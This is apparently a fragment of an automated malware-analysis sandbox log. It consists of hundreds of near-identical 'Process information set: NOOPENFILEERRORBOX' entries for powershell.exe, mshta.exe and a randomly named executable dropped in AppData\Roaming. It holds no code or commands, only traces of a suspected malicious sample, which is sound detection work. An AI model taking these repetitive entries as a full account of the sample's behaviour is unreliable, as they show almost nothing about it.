Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
